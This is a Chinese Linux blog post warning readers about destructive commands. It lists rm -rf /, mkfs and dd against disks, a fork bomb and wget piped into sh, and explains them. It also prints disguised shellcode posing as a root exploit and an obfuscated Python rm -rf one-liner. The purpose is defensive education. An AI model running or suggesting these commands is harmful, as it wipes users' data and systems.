Chinaunix首页 | 论坛 | 博客
  • 博客访问: 959597
  • 博文数量: 245
  • 博客积分: 11429
  • 博客等级: 上将
  • 技术积分: 2662
  • 用 户 组: 普通用户
  • 注册时间: 2009-08-15 00:16
文章存档

2011年(56)

2010年(174)

2009年(15)

分类: LINUX

2010-11-01 10:34:13

如果您使用Linux,可千万要记得不要让傻孩子们敲入以下命令,尽管这些命令看上去相当复杂,但还是会对你的系统造成严重影响.

    有一些会影响你的程序和系统运行,有一些会直接把你的盘抹掉,这些命令几乎没有什么可以挽回的余地.

    1. Code:


    rm -rf /

    这个很简单,根目录会被擦光.

    2. Code:

    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";


    没看懂?呵呵,其实就是16进制的[rm -rf /].

    3. Code:

    mkfs.ext3 /dev/sda


    抹盘行为无疑是危险的

    4. Code:

    :(){:|:&};:


    这不是90后的表情,也不是托蒂射点球前的表情,它可以让你的系统迅速因为处理大量数据而死机.

    5. Code:

    any_command > /dev/sda


    这个命令将会写入大量的RAW数据,可以导致数据丢失.

    6. Code:

    wget -O- | sh

    和Windows一样,千万不要乱下载未经证实性的源,这年头Linux和胡萝卜一样,也不会保险.

    7. Code:

    mv /home/yourhomedirectory/* /dev/null


    这条命令无疑会让系统抓狂,你的主目录会再也看不到.


早晚有一天, 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭都来不及。

这并不是说明 Linux 不,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面的命令会删除你上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。

sudo rm -rf /  删除根分区全部的文件
sudo rm -rf .    删除当前目录下的所有文件
sudo rm -rf *   同上
rm -rf * or rm -rf *.*   同上
rm -rf ~ / &     删除根分区和家目录,即使你不是root,家目录还是不能幸免。

同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的:

 sudo mkfs.xxxx

dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

sudo dd if=/dev/zero of=/dev/sda   全部硬盘清零。
sudo dd if=/dev/sda of=/dev/sdb     用第一块硬盘的内容覆盖第二块的内容。
sudo dd if=something of=/dev/sda    往硬盘上写垃圾数据。

同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

 any_command > /dev/sda              用随意的数据破坏硬盘

上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:

 :(){:|:&};: 

这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:

 fork while fork

有的时候,压缩包也是一个破坏来源~

有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。

有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

wget
sh ./some_file
wget
sh ./malicious-script

载脚本要确保来源正规,如果有能力,可以阅读其代码。

即使有源代码的程序,也不要随便编译执行:

 char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。

python 一类的脚本语言,同样可以拿来搞破坏:

 python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!

那么我们如何避免运行呢?
第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。
第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。
第三要保证软件、脚本的来源正规。
最后一点,虽然比较消极,但是确实十分重要的一点:
经常备份你的数据!!


阅读(871) | 评论(1) | 转发(0) |
给主人留下些什么吧!~~

chinaunix网友2010-11-01 15:07:07

很好的, 收藏了 推荐一个博客,提供很多免费软件编程电子书下载: http://free-ebooks.appspot.com